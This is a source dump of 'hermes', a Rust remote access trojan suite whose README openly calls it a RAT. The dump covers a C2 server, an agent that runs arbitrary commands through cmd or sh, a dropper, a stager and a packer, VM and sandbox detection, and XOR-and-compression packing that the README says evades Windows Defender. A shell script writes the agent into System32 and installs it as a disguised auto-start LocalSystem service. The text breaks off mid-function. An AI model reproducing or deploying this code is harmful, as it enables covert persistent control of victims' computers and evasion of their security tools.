├── dropper ├── dropper-manifest.rc ├── Cargo.toml ├── dropper.exe.manifest ├── src │ ├── bin │ │ └── panacea.rs │ └── main.rs └── build.rs ├── .cargo └── config.toml ├── c2 ├── src │ ├── services │ │ ├── mod.rs │ │ ├── missions.rs │ │ └── agents.rs │ ├── error.rs │ ├── routes │ │ ├── agents.rs │ │ ├── missions.rs │ │ └── mod.rs │ ├── jwt.rs │ └── main.rs ├── migrations │ ├── 20240609105900_hello.down.sql │ └── 20240609105900_hello.up.sql └── Cargo.toml ├── agent ├── src │ ├── platform │ │ ├── mod.rs │ │ ├── linux.rs │ │ └── windows.rs │ ├── error.rs │ ├── is_emu.rs │ └── main.rs ├── Cargo.toml └── build.rs ├── stager ├── Cargo.toml ├── build.rs └── src │ ├── win_h.rs │ └── main.rs ├── client ├── Cargo.toml └── src │ ├── error.rs │ ├── selection.rs │ ├── utils.rs │ └── main.rs ├── packer ├── Cargo.toml └── src │ └── main.rs ├── .gitignore ├── common ├── Cargo.toml └── src │ ├── lib.rs │ ├── model.rs │ ├── client.rs │ └── crypto.rs ├── justfile ├── LICENSE ├── gen-win-stager.sh ├── README.md ├── stager.ps1 └── Cargo.toml /dropper/dropper-manifest.rc: -------------------------------------------------------------------------------- 1 | #define RT_MANIFEST 24 2 | 1 RT_MANIFEST "dropper.exe.manifest" -------------------------------------------------------------------------------- /.cargo/config.toml: -------------------------------------------------------------------------------- 1 | # [target.x86_64-pc-windows-gnu] 2 | # rustflags = ["-Zlocation-detail=none"] -------------------------------------------------------------------------------- /c2/src/services/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod agents; 2 | pub mod missions; 3 | 4 | type RusqliteResult = Result; 5 | -------------------------------------------------------------------------------- /c2/migrations/20240609105900_hello.down.sql: -------------------------------------------------------------------------------- 1 | PRAGMA foreign_keys = OFF; 2 | DROP TABLE IF EXISTS agents; 3 | DROP TABLE IF EXISTS missions; 4 | -------------------------------------------------------------------------------- /agent/src/platform/mod.rs: -------------------------------------------------------------------------------- 1 | #[cfg(unix)] 2 | #[path = "linux.rs"] 3 | mod native; 4 | #[cfg(windows)] 5 | #[path = "windows.rs"] 6 | mod native; 7 | 8 | // #[cfg(any(unix, windows))] 9 | pub use native::*; -------------------------------------------------------------------------------- /dropper/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "dropper" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [features] 7 | windows-service = [] 8 | 9 | [build-dependencies] 10 | embed-resource = { workspace = true } 11 | 12 | [dependencies] 13 | obfstr = { workspace = true } 14 | -------------------------------------------------------------------------------- /stager/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "stager" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [build-dependencies] 7 | common = { workspace = true } 8 | 9 | [dependencies] 10 | common = { workspace = true } 11 | obfstr = { workspace = true } 12 | object = { workspace = true } 13 | self-replace = { workspace = true } 14 | -------------------------------------------------------------------------------- /client/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "client" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [dependencies] 7 | base64 = { workspace = true } 8 | common = { workspace = true } 9 | dialoguer = { workspace = true } 10 | serde_json = { workspace = true } 11 | thiserror = { workspace = true } 12 | ureq = { workspace = true } 13 | -------------------------------------------------------------------------------- /packer/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "packer" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [features] 7 | windows-service = ["dep:windows-service"] 8 | 9 | [build-dependencies] 10 | common = { workspace = true } 11 | 12 | [dependencies] 13 | common = { workspace = true } # TODO Don't import all common to reduce bin size 14 | rspe = { workspace = true } 15 | windows-service = { workspace = true, optional = true } 16 | -------------------------------------------------------------------------------- /dropper/dropper.exe.manifest: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Generated by Cargo 2 | # will have compiled files and executables 3 | debug/ 4 | target/ 5 | 6 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries 7 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html 8 | Cargo.lock 9 | 10 | # These are backup files generated by rustfmt 11 | **/*.rs.bk 12 | 13 | # MSVC Windows builds of rustc generate these, which store debugging information 14 | *.pdb 15 | 16 | c2.db* 17 | c2.id 18 | c2/.env 19 | -------------------------------------------------------------------------------- /agent/src/error.rs: -------------------------------------------------------------------------------- 1 | use common::{client, crypto}; 2 | 3 | #[derive(thiserror::Error, Debug)] 4 | pub enum AgentError { 5 | #[error("Crypto error: {0}")] 6 | Crypto(#[from] crypto::CryptoError), 7 | #[error("JSON error: {0}")] 8 | Json(#[from] serde_json::Error), 9 | #[error("IO error: {0}")] 10 | Io(#[from] std::io::Error), 11 | #[error("Utf8 error: {0}")] 12 | Utf8(#[from] std::str::Utf8Error), 13 | #[error("Client error: {0}")] 14 | Client(#[from] client::ClientError), 15 | } 16 | -------------------------------------------------------------------------------- /c2/src/error.rs: -------------------------------------------------------------------------------- 1 | use thiserror::Error; 2 | 3 | #[derive(Error, Debug)] 4 | pub enum C2Error { 5 | #[error("rusqlire error: {0}")] 6 | Rusqlite(#[from] rusqlite::Error), 7 | #[error("serde_json error: {0}")] 8 | SerdeJson(#[from] serde_json::error::Error), 9 | #[error("io error: {0}")] 10 | Io(#[from] std::io::Error), 11 | #[error("crypto error: {0}")] 12 | Crypto(#[from] common::crypto::CryptoError), 13 | #[error("jsonwebtoken error: {0}")] 14 | JsonWebToken(#[from] jsonwebtoken::errors::Error), 15 | } 16 | 17 | pub type C2Result = Result; 18 | -------------------------------------------------------------------------------- /client/src/error.rs: -------------------------------------------------------------------------------- 1 | use common::client; 2 | use thiserror::Error; 3 | 4 | #[derive(Error, Debug)] 5 | pub enum ClientError { 6 | #[error("Dialoguer error: {0}")] 7 | Dialoguer(#[from] dialoguer::Error), 8 | #[error("IO error: {0}")] 9 | Io(#[from] std::io::Error), 10 | #[error("Ureq error: {0}")] 11 | Ureq(#[from] Box), 12 | #[error("Serde_json error: {0}")] 13 | SerdeJson(#[from] serde_json::Error), 14 | #[error("Client error: {0}")] 15 | Client(#[from] client::ClientError), 16 | } 17 | 18 | pub type ClientResult = Result; 19 | -------------------------------------------------------------------------------- /agent/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "agent" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [build-dependencies] 7 | common = { workspace = true } 8 | 9 | [dependencies] 10 | env_logger = { workspace = true } 11 | # arti-client = { workspace = true } 12 | # arti-hyper = { workspace = true } 13 | common = { workspace = true } 14 | # hyper = { workspace = true } 15 | log = { workspace = true } 16 | obfstr = { workspace = true } 17 | self-replace = { workspace = true } 18 | serde = { workspace = true } 19 | serde_json = { workspace = true } 20 | thiserror = { workspace = true } 21 | # tls-api = { workspace = true } 22 | # tls-api-openssl = { workspace = true } 23 | -------------------------------------------------------------------------------- /agent/build.rs: -------------------------------------------------------------------------------- 1 | #[cfg(not(windows))] 2 | fn main() { 3 | use std::env; 4 | use std::fs; 5 | use std::path::Path; 6 | 7 | use common::crypto; 8 | 9 | let signing_key = crypto::get_signing_key(); 10 | let target_dir = env::var_os("OUT_DIR").unwrap(); 11 | fs::write( 12 | Path::new(&target_dir).join("id.key"), 13 | signing_key.as_bytes(), 14 | ) 15 | .unwrap(); 16 | fs::write( 17 | Path::new(&target_dir).join("../../../id-pub.key"), 18 | signing_key.verifying_key().as_bytes(), 19 | ) 20 | .unwrap(); 21 | println!("cargo::rerun-if-changed=build.rs"); 22 | println!("cargo::rerun-if-changed=."); 23 | } 24 | -------------------------------------------------------------------------------- /c2/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "c2" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [dev-dependencies] 7 | tower = { workspace = true } 8 | http-body-util = { workspace = true } 9 | 10 | [dependencies] 11 | axum = { workspace = true } 12 | base64 = { workspace = true } 13 | chrono = { workspace = true } 14 | common = { workspace = true } 15 | jsonwebtoken = { workspace = true } 16 | rusqlite = { workspace = true } 17 | serde = { workspace = true } 18 | serde_json = { workspace = true } 19 | thiserror = { workspace = true } 20 | tokio = { workspace = true } 21 | tower-http = { workspace = true } 22 | tracing = { workspace = true } 23 | tracing-subscriber = { workspace = true } 24 | -------------------------------------------------------------------------------- /common/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "common" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [dependencies] 7 | base64 = { workspace = true } 8 | blake2 = { workspace = true } 9 | chacha20poly1305 = { workspace = true } 10 | chrono = { workspace = true } 11 | ed25519-dalek = { workspace = true } 12 | log = { workspace = true } 13 | miniz_oxide = { workspace = true } 14 | rand = { workspace = true } 15 | serde = { workspace = true } 16 | serde_json = { workspace = true } 17 | sha256 = { workspace = true } 18 | thiserror = { workspace = true } 19 | timeago = { workspace = true } 20 | ureq = { workspace = true } 21 | x25519-dalek = { workspace = true } 22 | zeroize = { workspace = true } 23 | -------------------------------------------------------------------------------- /c2/migrations/20240609105900_hello.up.sql: -------------------------------------------------------------------------------- 1 | PRAGMA foreign_keys = ON; 2 | 3 | CREATE TABLE IF NOT EXISTS agents ( 4 | id INTEGER PRIMARY KEY, 5 | name TEXT UNIQUE NOT NULL, 6 | identity BLOB UNIQUE NOT NULL, 7 | platform TEXT NOT NULL, 8 | created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, 9 | last_seen_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP 10 | ); 11 | 12 | CREATE TABLE IF NOT EXISTS missions ( 13 | id INTEGER PRIMARY KEY, 14 | agent_id INTEGER NOT NULL, 15 | task STRING NOT NULL, 16 | result STRING, 17 | issued_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, 18 | completed_at TIMESTAMP, 19 | FOREIGN KEY (agent_id) REFERENCES agents (id) ON DELETE CASCADE 20 | ); 21 | -------------------------------------------------------------------------------- /justfile: -------------------------------------------------------------------------------- 1 | build PROFILE="dev" TARGET="x86_64-pc-windows-gnu": 2 | cargo b -p agent --target {{TARGET}} --profile {{PROFILE}} && \ 3 | cargo b -p packer --features windows-service --target {{TARGET}} --profile {{PROFILE}} && \ 4 | cargo b -p stager --target {{TARGET}} --profile {{PROFILE}} && \ 5 | cargo b -p dropper --features windows-service --target {{TARGET}} --profile {{PROFILE}} 6 | 7 | debug PROFILE="dev" TARGET="x86_64-pc-windows-gnu": 8 | cargo b -p agent --target {{TARGET}} --profile {{PROFILE}} && \ 9 | cargo b -p packer --target {{TARGET}} --profile {{PROFILE}} && \ 10 | cargo b -p stager --target {{TARGET}} --profile {{PROFILE}} && \ 11 | cargo b -p dropper --target {{TARGET}} --profile {{PROFILE}} 12 | 13 | drop PROFILE="debug": 14 | cp target/x86_64-pc-windows-gnu/{{PROFILE}}/dropper.exe ~/Desktop 15 | cp target/x86_64-pc-windows-gnu/{{PROFILE}}/panacea.exe ~/Desktop 16 | -------------------------------------------------------------------------------- /agent/src/platform/linux.rs: -------------------------------------------------------------------------------- 1 | use std::{ 2 | io, 3 | os::unix::process::CommandExt, 4 | path::Path, 5 | process::{self, Child, Command, Output}, 6 | }; 7 | 8 | use common::model; 9 | 10 | pub fn execute_cmd(cmd: &str) -> io::Result { 11 | Command::new("sh").arg("-c").arg(cmd).output() 12 | } 13 | 14 | pub fn execute_detached(bin: &Path, mission: model::Mission) -> io::Result { 15 | unsafe { 16 | Command::new(&bin) 17 | .arg(serde_json::to_string(&model::Mission { 18 | task: model::Task::Stop, 19 | ..mission 20 | })?) 21 | .pre_exec(|| { 22 | libc::setsid(); 23 | Ok(()) 24 | }) 25 | .stdin(process::Stdio::inherit()) 26 | .stdout(process::Stdio::inherit()) 27 | .stderr(process::Stdio::inherit()) 28 | .spawn() 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /dropper/src/bin/panacea.rs: -------------------------------------------------------------------------------- 1 | #![windows_subsystem = "windows"] 2 | use std::{os::windows::process::CommandExt as _, process::Command}; 3 | 4 | const CREATE_NO_WINDOW: u32 = 0x08000000; 5 | 6 | fn main() { 7 | #[cfg(feature = "windows-service")] 8 | { 9 | let _ = Command::new("sc.exe") 10 | .creation_flags(CREATE_NO_WINDOW) 11 | .arg("delete") 12 | .arg("Agent") 13 | .status(); 14 | let _ = Command::new("powershell") 15 | .creation_flags(CREATE_NO_WINDOW) 16 | .arg("-Command") 17 | .arg("Stop-Process") 18 | .arg("-Name") 19 | .arg("'agent'") 20 | .arg("-Force") 21 | .status(); 22 | } 23 | let _ = Command::new("powershell") 24 | .creation_flags(CREATE_NO_WINDOW) 25 | .arg("-Command") 26 | .arg("Remove-Item") 27 | .arg("-Path") 28 | .arg("'C:\\Windows\\System32\\agent.exe'") 29 | .arg("-Force") 30 | .status(); 31 | } 32 | -------------------------------------------------------------------------------- /dropper/build.rs: -------------------------------------------------------------------------------- 1 | use std::{env, fs, path::Path}; 2 | 3 | fn main() -> Result<(), Box> { 4 | println!("cargo::rerun-if-changed=.."); 5 | 6 | if env::var_os("CARGO_CFG_WINDOWS").is_some() { 7 | embed_resource::compile("dropper-manifest.rc", embed_resource::NONE); 8 | } 9 | 10 | let target = env::var("TARGET").unwrap(); 11 | let host = env::var("HOST").unwrap(); 12 | let profile = env::var("PROFILE").unwrap(); 13 | let bin_name = "stager.exe"; 14 | 15 | let packer_path = if target == host { 16 | format!("../target/{profile}/{bin_name}") 17 | } else { 18 | format!("../target/{target}/{profile}/{bin_name}") 19 | }; 20 | 21 | if !std::path::Path::new(&packer_path).is_file() { 22 | panic!("File not found '{packer_path}'"); 23 | } 24 | 25 | let out_dir = env::var_os("OUT_DIR").expect("OUT_DIR env var not set"); 26 | let out_dir = Path::new(&out_dir); 27 | 28 | fs::write(out_dir.join("stager.exe"), fs::read(packer_path)?)?; 29 | Ok(()) 30 | } 31 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Sylvain Garant 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /agent/src/platform/windows.rs: -------------------------------------------------------------------------------- 1 | use std::{ 2 | io, 3 | os::windows::process::CommandExt, 4 | path::Path, 5 | process::{self, Child, Command, Output}, 6 | }; 7 | 8 | use common::model; 9 | 10 | const CREATE_NEW_PROCESS_GROUP: u32 = 0x00000200; 11 | const DETACHED_PROCESS: u32 = 0x00000008; 12 | const CREATE_NO_WINDOW: u32 = 0x08000000; 13 | 14 | pub fn execute_cmd(cmd: &str) -> io::Result { 15 | Command::new("cmd") 16 | .creation_flags(CREATE_NO_WINDOW) 17 | .arg("/C") 18 | .arg(cmd) 19 | .output() 20 | // Command::new("powershell") 21 | // .creation_flags(CREATE_NO_WINDOW) 22 | // .arg("-Command") 23 | // .arg(cmd) 24 | // .output() 25 | } 26 | 27 | pub fn execute_detached(bin: &Path, mission: model::Mission) -> io::Result { 28 | Command::new(bin) 29 | .creation_flags(CREATE_NEW_PROCESS_GROUP | DETACHED_PROCESS | CREATE_NO_WINDOW) 30 | .arg(serde_json::to_string(&model::Mission { 31 | task: model::Task::Stop, 32 | ..mission 33 | })?) 34 | .stdin(process::Stdio::inherit()) 35 | .stdout(process::Stdio::inherit()) 36 | .stderr(process::Stdio::inherit()) 37 | .spawn() 38 | } 39 | -------------------------------------------------------------------------------- /gen-win-stager.sh: -------------------------------------------------------------------------------- 1 | #/bin/sh 2 | cargo +nightly b --release -p agent --target x86_64-pc-windows-gnu 3 | upx --best --lzma target/x86_64-pc-windows-gnu/release/agent.exe 4 | cat > generated_stager.ps1 << EOF 5 | if (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { 6 | Write-Warning "You do not have Administrator rights to run this script! Please re-run this script as Administrator!" 7 | Break 8 | } 9 | 10 | \$PSScriptRoot = "C:\Windows\System32" 11 | \$base64Data = "$(base64 -i target/x86_64-pc-windows-gnu/release/agent.exe)" 12 | \$byteArray = [Convert]::FromBase64String(\$base64Data) 13 | \$filePath = Join-Path -Path \$PSScriptRoot -ChildPath "agent.exe" 14 | [System.IO.File]::WriteAllBytes(\$filePath, \$byteArray) 15 | 16 | \$serviceName = "Agent" 17 | \$serviceDisplayName = "Hermes Agent" 18 | \$serviceDescription = "This is the Hermes service agent." 19 | \$binaryPath = (Get-Item -Path \$filePath).FullName 20 | \$startupType = "Automatic" 21 | \$serviceAccount = "LocalSystem" 22 | New-Service -Name \$serviceName -DisplayName \$serviceDisplayName -BinaryPathName 'C:\WINDOWS\System32\agent.exe' -Description \$serviceDescription -StartupType \$startupType -ServiceAccount \$serviceAccount 23 | Start-Service -Name \$serviceName 24 | EOF 25 | -------------------------------------------------------------------------------- /client/src/selection.rs: -------------------------------------------------------------------------------- 1 | pub struct Item, T, F> 2 | where 3 | F: Fn() -> T, 4 | { 5 | pub name: S, 6 | pub command: F, 7 | } 8 | 9 | impl Item 10 | where 11 | S: AsRef, 12 | F: Fn() -> T, 13 | { 14 | pub const fn new(name: S, command: F) -> Self { 15 | Self { name, command } 16 | } 17 | } 18 | 19 | pub struct Selection<'a, S, T, F> 20 | where 21 | S: AsRef, 22 | F: Fn() -> T, 23 | { 24 | pub actions: &'a [Item], 25 | } 26 | 27 | impl<'a, S, T, F> From<&'a [Item]> for Selection<'a, S, T, F> 28 | where 29 | S: AsRef, 30 | F: Fn() -> T, 31 | { 32 | fn from(actions: &'a [Item]) -> Self { 33 | Self { actions } 34 | } 35 | } 36 | 37 | impl<'a, S, T, F> Selection<'a, S, T, F> 38 | where 39 | S: AsRef + std::fmt::Display, 40 | F: Fn() -> T, 41 | { 42 | pub fn select(&self, prompt: &str) -> Result, dialoguer::Error> { 43 | Ok( 44 | dialoguer::FuzzySelect::with_theme(&dialoguer::theme::ColorfulTheme::default()) 45 | .with_prompt(prompt) 46 | .default(0) 47 | .items(&self.actions.iter().map(|a| &a.name).collect::>()) 48 | .interact_opt()? 49 | .and_then(|i| self.actions.get(i).map(|action| (action.command)())), 50 | ) 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /stager/build.rs: -------------------------------------------------------------------------------- 1 | use std::{env, fs, path::Path}; 2 | 3 | fn main() -> Result<(), Box> { 4 | println!("cargo::rerun-if-changed=.."); 5 | 6 | let target = env::var("TARGET").unwrap(); 7 | let host = env::var("HOST").unwrap(); 8 | let profile = env::var("PROFILE").unwrap(); 9 | let packer_bin_name = "packer.exe"; 10 | let agent_bin_name = "agent.exe"; 11 | 12 | let packer_path = if target == host { 13 | format!("../target/{profile}/{packer_bin_name}") 14 | } else { 15 | format!("../target/{target}/{profile}/{packer_bin_name}") 16 | }; 17 | let agent_path = if target == host { 18 | format!("../target/{profile}/{agent_bin_name}") 19 | } else { 20 | format!("../target/{target}/{profile}/{agent_bin_name}") 21 | }; 22 | 23 | let out_dir = env::var_os("OUT_DIR").expect("OUT_DIR env var not set"); 24 | let out_dir = Path::new(&out_dir); 25 | 26 | if !std::path::Path::new(&packer_path).is_file() { 27 | panic!("File not found '{packer_path}'"); 28 | } 29 | if !std::path::Path::new(&agent_path).is_file() { 30 | panic!("File not found '{agent_path}'"); 31 | } 32 | 33 | fs::write(out_dir.join("packer.exe"), fs::read(packer_path)?)?; 34 | fs::write( 35 | out_dir.join("agent.pack"), 36 | common::pack_to_vec(&fs::read(agent_path)?), 37 | )?; 38 | Ok(()) 39 | } 40 | -------------------------------------------------------------------------------- /client/src/utils.rs: -------------------------------------------------------------------------------- 1 | use common::{client, model}; 2 | 3 | use crate::{ 4 | error::ClientResult, 5 | selection::{Item, Selection}, 6 | }; 7 | 8 | pub fn prompt>( 9 | prompt: S, 10 | default: Option, 11 | ) -> Result { 12 | if let Some(default) = default { 13 | dialoguer::Input::with_theme(&dialoguer::theme::ColorfulTheme::default()) 14 | .with_prompt(prompt) 15 | .default(default) 16 | .interact_text() 17 | .map(|s: String| s.trim().to_string()) 18 | } else { 19 | dialoguer::Input::with_theme(&dialoguer::theme::ColorfulTheme::default()) 20 | .with_prompt(prompt) 21 | .interact_text() 22 | .map(|s: String| s.trim().to_string()) 23 | } 24 | } 25 | 26 | pub fn select_agent() -> ClientResult> { 27 | let agents = client::agents::get(&crate::jwt()?)?; 28 | if agents.is_empty() { 29 | println!("No agents available"); 30 | return Ok(None); 31 | } 32 | let select_agent = agents 33 | .into_iter() 34 | .map(|agent| Item::new(format!("{agent}"), move || agent.clone())) 35 | .collect::>(); 36 | Ok(Selection::from(&select_agent[..]).select("Select an agent")?) 37 | } 38 | 39 | pub fn poll_mission_result(mission_id: i32) { 40 | let jwt = crate::jwt().unwrap(); 41 | loop { 42 | match client::missions::get_result(&jwt, mission_id) { 43 | Ok(Some(result)) => { 44 | println!("{result}"); 45 | break; 46 | } 47 | Err(e) => eprintln!("{e}"), 48 | _ => {} 49 | } 50 | std::thread::sleep(std::time::Duration::from_secs(1)); 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /c2/src/routes/agents.rs: -------------------------------------------------------------------------------- 1 | use axum::{ 2 | extract::{Path, State}, 3 | http::StatusCode, 4 | response::IntoResponse, 5 | Json, 6 | }; 7 | use tracing::error; 8 | 9 | use crate::{routes::AGENT_NOT_FOUND, services, C2State}; 10 | 11 | // #[axum::debug_handler] 12 | pub async fn get(State(c2_state): State) -> impl IntoResponse { 13 | match services::agents::get(c2_state.conn.clone()) { 14 | Ok(agents) => (StatusCode::OK, Json(agents)).into_response(), 15 | Err(e) => { 16 | error!("{e}"); 17 | (StatusCode::INTERNAL_SERVER_ERROR).into_response() 18 | } 19 | } 20 | } 21 | 22 | pub async fn update( 23 | State(c2_state): State, 24 | Path(agent_id): Path, 25 | agent_json: String, 26 | ) -> impl IntoResponse { 27 | let agent_json: serde_json::Value = serde_json::from_str(&agent_json).unwrap(); 28 | match services::agents::get_by_id(c2_state.conn.clone(), agent_id) { 29 | Ok(Some(agent)) => { 30 | match services::agents::update_by_id(c2_state.conn.clone(), &agent.merge(agent_json)) { 31 | Ok(agent) => (StatusCode::OK, Json(Some(agent))).into_response(), 32 | Err(e) => { 33 | error!("{e}"); 34 | (StatusCode::INTERNAL_SERVER_ERROR).into_response() 35 | } 36 | } 37 | } 38 | Ok(None) => (StatusCode::NOT_FOUND, AGENT_NOT_FOUND).into_response(), 39 | Err(e) => { 40 | error!("{e}"); 41 | (StatusCode::INTERNAL_SERVER_ERROR).into_response() 42 | } 43 | } 44 | } 45 | 46 | pub async fn delete( 47 | State(c2_state): State, 48 | Path(agent_id): Path, 49 | ) -> impl IntoResponse { 50 | match services::agents::delete_by_id(c2_state.conn.clone(), agent_id) { 51 | Ok(true) => (StatusCode::OK).into_response(), 52 | Ok(false) => (StatusCode::NOT_FOUND, AGENT_NOT_FOUND).into_response(), 53 | Err(e) => { 54 | error!("{e}"); 55 | (StatusCode::INTERNAL_SERVER_ERROR).into_response() 56 | } 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # hermes 2 | `hermes` is a RAT suite composed of an agent, a C2 server and a client to interact with it. The C2 and the agent communicate encrypted messages via HTTP. The messages are encrypted using a custom protocol. 3 | 4 | ## Features 5 | * **Perfect Forward Secrecy:** ephemeral shared secrets are renewed after each message sent. This ensures messages can't be decrypted in case of key leak. 6 | * **Antivirus evasion:** the RAT is undetected by Windows defender, its load is XOR encoded and compressed to avoid detection via static analysis. 7 | 8 | ## Configuration 9 | Before using `hermes`, make sure to configure the following settings: 10 | 11 | * **Signing key:** Obtain your signing key using the `client` with the `Generate identity key pair` and place the `Signing key` in a `c2.id` file at the root of the project (don't paste the double quotes). 12 | 13 | ## Usage 14 | To run `hermes`, follow these steps: 15 | 16 | 1. Clone the repository: 17 | > git clone [https://github.com/Xobtah/hermes](https://github.com/Xobtah/hermes) 18 | 2. Navigate to the project directory: 19 | > cd hermes/ 20 | 3. Run the c2 server: 21 | > cargo r --release -p c2 22 | 4. Build the agent dropper: 23 | > just build release # or copy the command from the justfile 24 | 5. Run the client: 25 | > cargo r --release -p client 26 | 27 | ## TODO 28 | * **Telegram as a proxy:** Send encrypted messages to a Telegram bot. 29 | * **Tor as a proxy:** Send the HTTP requests through a SOCKS5 proxy. 30 | * **Write tests** 31 | * **Agent update:** Making a guard application that checks the health of the newly updated agent before deleting the previous one, rollback if new agent doesn't work. 32 | 33 | ## Contributing 34 | Contributions to `hermes` are welcome! To contribute: 35 | 36 | 1. Fork the repository. 37 | 2. Create a new branch (`git checkout -b feature/your-feature`). 38 | 3. Make your changes. 39 | 4. Commit your changes (`git commit -am 'Add new feature'`). 40 | 5. Push to the branch (`git push origin feature/your-feature`). 41 | 6. Create a new Pull Request. 42 | 43 | ## Licence 44 | `hermes` is licensed under the MIT License. See LICENSE for more information. 45 | -------------------------------------------------------------------------------- /agent/src/is_emu.rs: -------------------------------------------------------------------------------- 1 | use std::{collections::HashMap, path::Path, process}; 2 | 3 | use sysinfo::{ProcessExt, System, SystemExt}; 4 | use wmi::{COMLibrary, Variant, WMIConnection}; 5 | 6 | pub fn is_emu() -> bool { 7 | is_server_os() || is_vm_by_wim_temper() || detect_hash_processes() 8 | } 9 | 10 | fn is_server_os() -> bool { 11 | let hostname = whoami::hostname(); 12 | let namespace_path = format!("{}{}", hostname, obfstr::obfstr!("\\ROOT\\CIMV2")); 13 | let Ok(wmi_con) = 14 | WMIConnection::with_namespace_path(&namespace_path, COMLibrary::new().unwrap().into()) 15 | else { 16 | return false; 17 | }; 18 | 19 | let results: Vec> = wmi_con 20 | .raw_query(obfstr::obfstr!( 21 | "SELECT ProductType FROM Win32_OperatingSystem" 22 | )) 23 | .unwrap(); 24 | 25 | drop(wmi_con); 26 | 27 | for result in results { 28 | for value in result.values() { 29 | if *value == Variant::UI4(2) || *value == Variant::UI4(3) { 30 | return true; 31 | } 32 | } 33 | } 34 | 35 | false 36 | } 37 | 38 | fn detect_hash_processes() -> bool { 39 | let mut system = System::new(); 40 | system.refresh_all(); 41 | 42 | for (_, process) in system.processes() { 43 | if let Some(arg) = process.cmd().get(0) { 44 | let path = Path::new(arg); 45 | match path.file_stem() { 46 | Some(file_name) => { 47 | if file_name.len() == 64 || file_name.len() == 128 { 48 | // Md5 Or Sha512 49 | return true; 50 | } 51 | } 52 | None => (), 53 | } 54 | } 55 | } 56 | 57 | false 58 | } 59 | 60 | fn is_vm_by_wim_temper() -> bool { 61 | let wmi_con = WMIConnection::new(COMLibrary::new().unwrap().into()).unwrap(); 62 | 63 | let results: Vec> = wmi_con 64 | .raw_query(obfstr::obfstr!("SELECT * FROM Win32_CacheMemory")) 65 | .unwrap(); 66 | 67 | drop(wmi_con); 68 | 69 | if results.len() < 2 { 70 | return true; 71 | } 72 | 73 | false 74 | } 75 | -------------------------------------------------------------------------------- /common/src/lib.rs: -------------------------------------------------------------------------------- 1 | use rand::RngCore; 2 | use std::path::Path; 3 | 4 | pub mod client; 5 | pub mod crypto; 6 | pub mod model; 7 | 8 | #[cfg(unix)] 9 | pub const PLATFORM: model::Platform = model::Platform::Unix; 10 | #[cfg(windows)] 11 | pub const PLATFORM: model::Platform = model::Platform::Windows; 12 | pub const PLATFORM_HEADER: &str = "Platform"; 13 | 14 | const XOR_KEY_SIZE: usize = 16; 15 | 16 | pub fn checksum>(path: P) -> Result { 17 | Ok(sha256::digest(std::fs::read(path)?.as_slice())) 18 | } 19 | 20 | // TODO Try better compressions 21 | pub fn compress(data: &[u8]) -> Vec { 22 | miniz_oxide::deflate::compress_to_vec(data, 6) 23 | } 24 | 25 | pub fn decompress(data: &[u8]) -> Vec { 26 | miniz_oxide::inflate::decompress_to_vec(data).expect("Failed to decompress") 27 | } 28 | 29 | fn xor<'a>(data: &'a mut [u8], key: &[u8]) -> &'a mut [u8] { 30 | data.iter_mut() 31 | .enumerate() 32 | .for_each(|(i, byte)| *byte ^= key[i % key.len()]); 33 | data 34 | } 35 | 36 | pub fn pack_to_vec(data: &[u8]) -> Vec { 37 | let mut rng = rand::rngs::OsRng {}; 38 | let mut key = [0u8; XOR_KEY_SIZE]; 39 | rng.fill_bytes(&mut key); 40 | 41 | let mut data = compress(data); 42 | xor(&mut data, &key); 43 | [[XOR_KEY_SIZE as u8].as_slice(), &key, data.as_slice()].concat() 44 | } 45 | 46 | pub fn unpack_to_vec(data: &[u8]) -> Vec { 47 | if data.is_empty() || data[1..].len() <= 